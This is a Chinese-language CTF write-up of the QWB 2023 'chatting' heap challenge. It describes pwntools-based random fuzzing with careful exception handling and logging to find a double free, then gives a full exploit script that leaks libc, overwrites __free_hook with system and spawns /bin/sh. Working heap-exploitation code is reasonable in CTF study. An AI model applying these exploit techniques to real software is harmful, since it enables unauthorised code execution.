从fuzz视角看CTF堆题--qwb2023_chatting

news2024/12/23 18:53:50

前言

这个题目是一个c++的堆题,而我自己对于c++的一些内存分配不太了解,同时也不太会c++的逆向,硬看是没有办法了,所以就想能不能通过fuzz的角度去进行利用

fuzz

大概思路

函数选择

可以看到有add delete switch read listuser message6个操作,而凭感觉来说,listuser一般没什么效果,所以我这里主要fuzz其他五个函数
截屏2023-12-24 11.35.22.png

交互

简单写一下交互

def add(name):
    sla(b"listuser, exit): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"listuser, exit): ",b"delete")
    sla(b"to delete: ",name)
   

def message(username,size,data):
    sla(b"listuser, exit): ",b"message")
    sla(b"To: ",username)    
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)
def show():
    sla(b"listuser, exit): ",b"read")

def switch(user):
    sla(b"listuser, exit): ",b"switch")
    sla(b"o switch to: ",user)

参数

这里可以注意到,参数总共有3种,1 username,2 message的size,3 message的data
username这里我就简单一个random.choice(“abcdefgh”) 随机取值,大概范围就是8个值,样本范围不适合太大
size 这里我简单看了一下程序,里面有个分配0x60大小的堆,保存了用户的信息,然后我就想把message的size和这个用户的size构造一样,有可能会有uaf的问题
截屏2023-12-24 11.41.18.png
data 这里我就随便写了短的内容,最开始也没想过溢出,还是想fuzz double free这种问题

初步fuzz结构

下面是一个fuzz的例子,可以看到思路就很简单,随机执行操作,然后记录到log里面

def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(0x20,idx)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           free(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           ru('>>: ')
           check_char=r(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break            
    f.close()

但是在做这个题目的时候遇到了其他的一些问题,不像之前fuzz其他题目一样,这个题目fuzz很容易报错,那么我们必须要进行一个异常的捕获

处理异常

处理异常这里坑还是比较多的,我就分别描述

无法获取程序异常返回结果

在交互里面,我们比较习惯写成sla,或者ru这种,他报错的时候不会返回给我们程序的报错内容,所以这里我通过阅读ru的实现,修改了一下代码,把程序的返回值放到Exception里面,然后我们就可以知道程序到底报了什么错,是double free呢,还是invalid pointer
截屏2023-12-21 19.56.40.png

log记录问题

log里面少记录

按照前面提到的fuzz结构,增加异常处理后类似于下面的代码

def fuzz():
    f=open('log.txt','w')
    try:
        for i in range(0,0x1000):
            if i % 10 == 0:
                idx=randint(0,0x10)
                add(0x20,idx)
                f.write('add({},0x20)'.format(idx)+'\n')
            elif i % 2 == 0 :
                idx=randint(0,0x10)
                free(idx)
                f.write('delt({})'.format(idx)+'\n')
          
    except:
        pass
    finally:
        f.close()

这种写法,如果在执行流程里面比如说add里报了错,因为抛了异常导致这个操作会无法记录下来

log里面多记录

针对上面少记录的情况,可能我们会这样改

def fuzz():
    f=open('log.txt','w')
    try:
        for i in range(0,0x1000):
            if i % 10 == 0:
                idx=randint(0,0x10)
                tmp='add({},0x20)'.format(idx)+'\n'
                add(0x20,idx)
                f.write('add({},0x20)'.format(idx)+'\n')
            elif i % 2 == 0 :
                idx=randint(0,0x10)
                tmp='delt({},0x20)'.format(idx)+'\n'
                free(idx)
                f.write('delt({})'.format(idx)+'\n')
    except:
        f.write(tmp)
    finally:         
        f.close()

但是上面这种修改又会带来新的问题
我们add操作输入完username后程序抛了异常,但是这个时候不会在add这里结束,他还会执行到下一个流程,然后会在下一个流程的sla(b"listuser, exit")这里抛异常,然后我们就会多记录一个操作

最终解决方法

在这里,我们需要定义一个流程完整的生命周期
交互开始,从收到):代表我们流程的开始
截屏2023-12-24 12.02.57.png
交互结束,收到Choose action为止
截屏2023-12-24 12.03.30.png
这样定义后我们可以保证下一个流程能够正常的开始,就不会出上面提到的多记录的问题了,也就能够保证,当前流程抛出的异常一定是当前流程里执行某些操作引起的,而不是上一个流程遗留的异常
总共就是下面三个情况

  • 如果add中间出错了,那么flag=0,我们会在excpet里面记录
  • 如果ru报错,那么证明add完之后出现了问题,flag=0,也会记上
  • 如果本次add操作没有触发任何异常,那么也会记录在log里,同时也能够成功执行到下一次的操作,
def fuzz():
    global io
    io = process("./chatting")
    f=open("log.txt","w")
    try:
                for i in range(0,0x1000):
                    flag=0#防止在执行函数的时候报错
                    tmp=""
                    if i % 19 == 0:
                        name=random.choice("abcdefgh")
                        tmp=f'add("{name}")\n'
                        add(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==0:
                        name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
    except Exception as e:
                if flag==0:
                    f.write(tmp)
                if b"double free or corruption" not in e.args[0]:
                    return 0
                else:
                    print(e.args[0])
                    return 1
    finally:
            f.close()
            io.close()
                

按照上面的结构fuzz,一方面我们可以获取到程序的异常原因,另一个方面也可以不多不少的记录下来执行的操作

开始fuzz

保留所有结果的fuzz

这个fuzz里面保留了所有的结果

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)





elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc





def add(name):
    sla(b"listuser, exit): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"listuser, exit): ",b"delete")
    sla(b"to delete: ",name)
   

def message(username,size,data):
    sla(b"listuser, exit): ",b"message")
    sla(b"To: ",username)    
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)
  

def show():
    sla(b"listuser, exit): ",b"read")

def switch(user):
    sla(b"listuser, exit): ",b"switch")
    sla(b"o switch to: ",user)
    
def fuzz():
    global io
    io = process("./chatting")
    sla(b"new username: ",b"a")
    f=open("log.txt","w")
    try:
                for i in range(0,0x1000):
                    flag=0#防止在执行函数的时候报错
                    tmp=""
                    if i % 19 == 0:
                        name=random.choice("abcdefgh")
                        tmp=f'add("{name}")\n'
                        add(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==0:
                        name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i %4==1:
                        name=random.choice("abcdefgh")
                        tmp=f'message("{name}",0x58,"aa")\n'
                        message(name,0x58,"aa")
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i %4==2:
                        name=random.choice("abcdefgh")
                        tmp=f'switch("{name}")\n'
                        switch(name)
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==3:
                        tmp='show()\n'
                        show()
                        info=ru(b"Choose action")
                        flag=1
                        if b"\x55" in info or b"\x56" in info  or b"\x7f" in info:
                            f.write(tmp)
                            f.write(f"#{info}\n") 
    except Exception as e:
        if flag==0:
            f.write(tmp)
        if b"double free or corruption" not in e.args[0]:
            return 0
        else:
            print(e.args[0])
            return 1
    finally:
        f.close()
        io.close()
                
 

while True:
    if fuzz()==1:
        print("sucess")
        exit(0)
    

方便的验证脚本

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc




def add(name):
    sla(b"): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"): ",b"delete")
    sla(b"to delete: ",name)

def message(username,size,data):
    sla(b"): ",b"message")
    sla(b"To: ",username)
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)

def show():
    sla(b"): ",b"read")

def switch(user):
    sla(b"): ",b"switch")
    sla(b"o switch to: ",user)

io = process(parm)
sla(b"new username: ",b"a")
with open("log.txt","r" ) as f:
    for line in f.read().split("\n"):
        if  line=="" or line[0]=="#" :
            pass
        else:
            eval(line)

it()

去掉一些无用操作的fuzz

fuzz里会有一些无用操作,比如说我们free一个不存在的index的结构体,那么他会提示not found,同时实际上他也没有影响堆布局等,这些可以忽略的
先调整一下delete

                    	name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)

调整一下switch

                    	name=random.choice("abcdefgh")
                        tmp=f'switch("{name}")\n'
                        switch(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)

经过测试发现,虽然message会报Recipient not found!的错误,但是我们不能把他过滤,实际上他还是做了对应的操作的,下面是代码部分
截屏2023-12-22 09.29.48.png
那从纯fuzz的角度来说呢,我们就是一个个试,看看哪些是可以忽略,哪些不能忽略
如果我们保存log的时候忽略了一些看起来没有效果的操作,但是实际上这些操作可能影响了堆布局,我们在复现log里面保存的payload的时候就会无法触发异常
所以本次经过测试,show delete switch操作可以忽略一些无效的操作,但是message不行

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)





elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc





def add(name):
    sla(b"listuser, exit): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"listuser, exit): ",b"delete")
    sla(b"to delete: ",name)
   

def message(username,size,data):
    sla(b"listuser, exit): ",b"message")
    sla(b"To: ",username)    
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)
  

def show():
    sla(b"listuser, exit): ",b"read")

def switch(user):
    sla(b"listuser, exit): ",b"switch")
    sla(b"o switch to: ",user)
    
def fuzz():
    global io
    io = process("./chatting")
    sla(b"new username: ",b"a")
    f=open("log.txt","w")
    try:
                for i in range(0,0x1000):
                    flag=0#防止在执行函数的时候报错
                    tmp=""
                    if i % 19 == 0:
                        name=random.choice("abcdefgh")
                        tmp=f'add("{name}")\n'
                        add(name)
                        ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i%4==0:
                        name=random.choice("abcdefgh")
                        tmp=f'free("{name}")\n'
                        free(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)
                    elif i %4==1:
                        name=random.choice("abcdefgh")
                        tmp=f'message("{name}",0x58,"")\n'
                        message(name,0x58,"")
                        info =ru('Choose action')
                        flag=1
                        f.write(tmp)
                    elif i %4==2:
                        name=random.choice("abcdefgh")
                        tmp=f'switch("{name}")\n'
                        switch(name)
                        info =ru('Choose action')
                        flag=1
                        if b"not found!" in info:
                             continue
                        f.write(tmp)
                    elif i%4==3:
                        tmp='show()\n'
                        show()
                        info=ru(b"Choose action")
                        flag=1
                        if b"\x55" in info or b"\x56" in info or b"\x7f" in info :
                            f.write(tmp)
                            f.write(f"#{info}\n") 

    except Exception as e:
        if flag==0:
            f.write(tmp)
        if b"double free or corruption" not in e.args[0]:
            return 0
        else:
            print(e.args[0])
            return 1
    finally:
        f.close()
        io.close()
                
 

while True:
    if fuzz()==1:
        print("sucess")
        exit(0)
    


                        

结果

add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("d",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("g",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("e",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("f",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("h",0x58,"")
add("d")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
add("c")

修改payload

当我们去掉最后一个的时候可以发现这里已经double free了,那么我们只需要按照正常操作,去写free_hook即可
image.png

message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))

最后发现add会free message,直接rce

all payload

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
    libc = ELF(f"{lib_path}/libc.so.6")
else:
    libc=elf.libc




def add(name):
    sla(b"): ",b"add")
    sla(b"new username: ",name)

def free(name):
    sla(b"): ",b"delete")
    sla(b"to delete: ",name)

def message(username,size,data):
    sla(b"): ",b"message")
    sla(b"To: ",username)
    sla(b"Message size: ",str(size))
    sla(b"Content: ",data)

def show():
    sla(b"): ",b"read")

def switch(user):
    sla(b"): ",b"switch")
    sla(b"o switch to: ",user)

io = process("./chatting")
sla(b"new username: ",b"a")


add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
message("d",0x58,"")
message("g",0x58,"")
show()
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-0x3ebc0a
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
message("e",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
add("e")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
add("c")
it()

总结

  • 注意异常处理部分
  • 注意每一个流程完整的生命周期,防止当前流程触发的异常实际是上一个操作的
  • 不要随意忽视看起来没有效果的操作,除非能保证去除那些操作之后不影响fuzz的结果,或者说除非我们从代码层面能够保证实际是没有效果的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1352577.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大创项目推荐 深度学习动物识别 - 卷积神经网络 机器视觉 图像识别

文章目录 0 前言1 背景2 算法原理2.1 动物识别方法概况2.2 常用的网络模型2.2.1 B-CNN2.2.2 SSD 3 SSD动物目标检测流程4 实现效果5 部分相关代码5.1 数据预处理5.2 构建卷积神经网络5.3 tensorflow计算图可视化5.4 网络模型训练5.5 对猫狗图像进行2分类 6 最后 0 前言 &#…

小红书如何高效引流?

近年来,公域流量价格不断上涨,私域流量的优势逐渐凸显。企业正花费大量资源和成本来获取新流量,但与其如此,不如将精力放在留存和复购上,从而实现业绩的新增长。其中关键在于如何有效地将公域流量转化为私域流量。 然而…

html5实现好看的个人博客模板源码

文章目录 1.设计来源1.1 主界面1.2 认识我界面1.3 我的文章界面1.4 我的模板界面1.5 文章内容界面 2.结构和源码2.1 目录结构2.2 源代码 源码下载 作者:xcLeigh 文章地址:https://blog.csdn.net/weixin_43151418/article/details/135368653 html5实现好看…

ExecutorCompletionService详解

本文已收录至Github,推荐阅读 👉 Java随想录 微信公众号:Java随想录 文章目录 摘要ExecutorCompletionService适用场景ExecutorCompletionService使用ExecutorCompletionService原理解析注意事项总结 摘要 ExecutorCompletionService 是Jav…

LeetCode做题总结 15. 三数之和(未完)

不会做,参考了代码随想录和力扣官方题解,对此题进行整理。 代码思路 思想:利用双指针法,对数组从小到大排序。先固定一个数,找到其他两个。 (1)首先对数组从小到大排序。 (2&…

【网络技术】【Kali Linux】Wireshark嗅探(四)域名系统(DNS)

一、实验目的 本次实验使用wireshark流量分析工具进行网络嗅探,旨在了解域名系统(DNS)的工作原理。 二、域名系统概述 简单来说,域名系统(Domain Name System, DNS)将域名(可以理解为“网址”…

为什么要用扫码出入库?

一、什么是扫码出入库管理系统 传统的仓库管理模式存在很多问题,如:货物积压、过期、丢失等。这些问题不仅影响了企业的正常运营,还给企业带来了经济损失。为了解决这些问题,扫码出入库管理系统应运而生。该系统采用先进的二维码…

Apache的配置与应用

目录 1、Apache简介 2、Apache连接保持 3、Apache的访问控制 3.1、客户机地址限制 3.2、用户授权限制 (1)创建用户认证数据文件 (2)添加用户授权配置 (3)验证用户访问授权 4、Apache日志分割 4…

Vivado JESD204B与AD9162建立通信实战总结

一、FPGA与AD9162的JESD204B接口 FPGA作为JESD204B接口的发送端,AD9162作为JESD204B接口的接收端。FPGA和AD9162的device clk、SYSREF由同源时钟芯片产生。其中,FPGA和AD9162的divice clk时钟不同,并且FPGA的decive clk等同于JESD204B IP的co…

【UnityShader入门精要学习笔记】(3)章节答疑

本系列为作者学习UnityShader入门精要而作的笔记,内容将包括: 书本中句子照抄 个人批注项目源码一堆新手会犯的错误潜在的太监断更,有始无终 总之适用于同样开始学习Shader的同学们进行有取舍的参考。 文章目录 复习(阶段性总结…

数据分析案例-外国电影票房数据可视化分析(文末送书)

🤵‍♂️ 个人主页:艾派森的个人主页 ✍🏻作者简介:Python学习者 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞&#x1f4…

k8s 1.23.5版本安装ingress1.6.4

1、背景 网上找了好几个ingress 文件,可能是版本没对,ingress都没有安装成功,最后查了相关资料,手动安装了。 下面是版本的匹配列表 github中ingress 地址:https://github.com/kubernetes/ingress-nginx 1.23.5版本支…

MySQL的安装网络配置

目录 一. MySQL5.7的安装 二. MySQL8.0的安装 三. 配置网络访问 思维导图 一. MySQL5.7的安装 1. 解压 2. 将my.ini文件放入到解压文件中 3. 编辑my.ini文件,将路径改为当前路径 4. 进到bin目录下,以管理员身份打开cmd命令窗口 5. 安装MySQL服务 my…

HarmonyOS调研分享

经过十多年的发展,传统移动互联网的增长红利已渐见顶。万物互联时代正在开启,应用的设备底座将从几十亿手机扩展到数百亿 IoT 设备。GSMA 预测到 2025 年,全球物联网终端连接数量将达 246 亿个,其中消费物联网终端连接数量将达 11…

chatGPT带你学习设计模式 (二)抽象工厂模式(创建型模式) GURU

深入理解抽象工厂模式 引言 在面向对象编程中,对象的创建是一个常见且关键的挑战。尤其在需要管理一系列相关对象的创建时,传统的对象创建方法(如直接使用 new 关键字)可能导致代码的高耦合和低灵活性。这时,抽象工厂…

5+共病+WGCNA+机器学习+免疫浸润,经典共病生信思路,轻松拿5+

今天给同学们分享一篇生信文章“Identification of biomarkers for the diagnosis of chronic kidney disease (CKD) with non-alcoholic fatty liver disease (NAFLD) by bioinformatics analysis and machine learning”,这篇文章发表在Front Endocrinol (Lausann…

Spring-Retry 重试框架使用

一、Spring-Retry Spring-Retry框架是Spring自带的功能&#xff0c;具备间隔重试、包含异常、排除异常、控制重试频率等特点&#xff0c;是项目开发中很实用的一种框架。 支持手动调用方式和注解方式。 使用需引入下面依赖&#xff1a; <dependency><groupId>o…

Vue:脚手架Vue-CLI的使用

一、环境准备 vue脚手架&#xff08;vue-CLI&#xff09;的使用是基于nodejs环境下的。 你可以简单理解为&#xff0c;Java项目需要再jvm虚拟机上才能编译运行 nodejs的作用就是将vue文件编译成html、css、js代码文件。 如何安装nodejs 参考&#xff1a;https://blog.csdn.net…

Uibot (RPA设计软件)培训前期准备指南————课前材料

紧接着小北的上一篇博客&#xff0c;友友们我们即将开展新课的学习~RPA 培训前期准备指南——安装Uibot(RPA设计软件&#xff09;-CSDN博客https://blog.csdn.net/Zhiyilang/article/details/135348488?spm1001.2014.3001.5502 课程安排如下&#xff1a; 序号 日期 内容 视…

五、Spring AOP面向切面编程(基于注解方式实现和细节)

本章概要 Spring AOP底层技术组成初步实现获取通知细节信息切点表达式语法重用&#xff08;提取&#xff09;切点表达式环绕通知切面优先级设置CGLib动态代理生效注解实现小结 5.5.1 Spring AOP 底层技术组成 动态代理&#xff08;InvocationHandler&#xff09;&#xff1a;…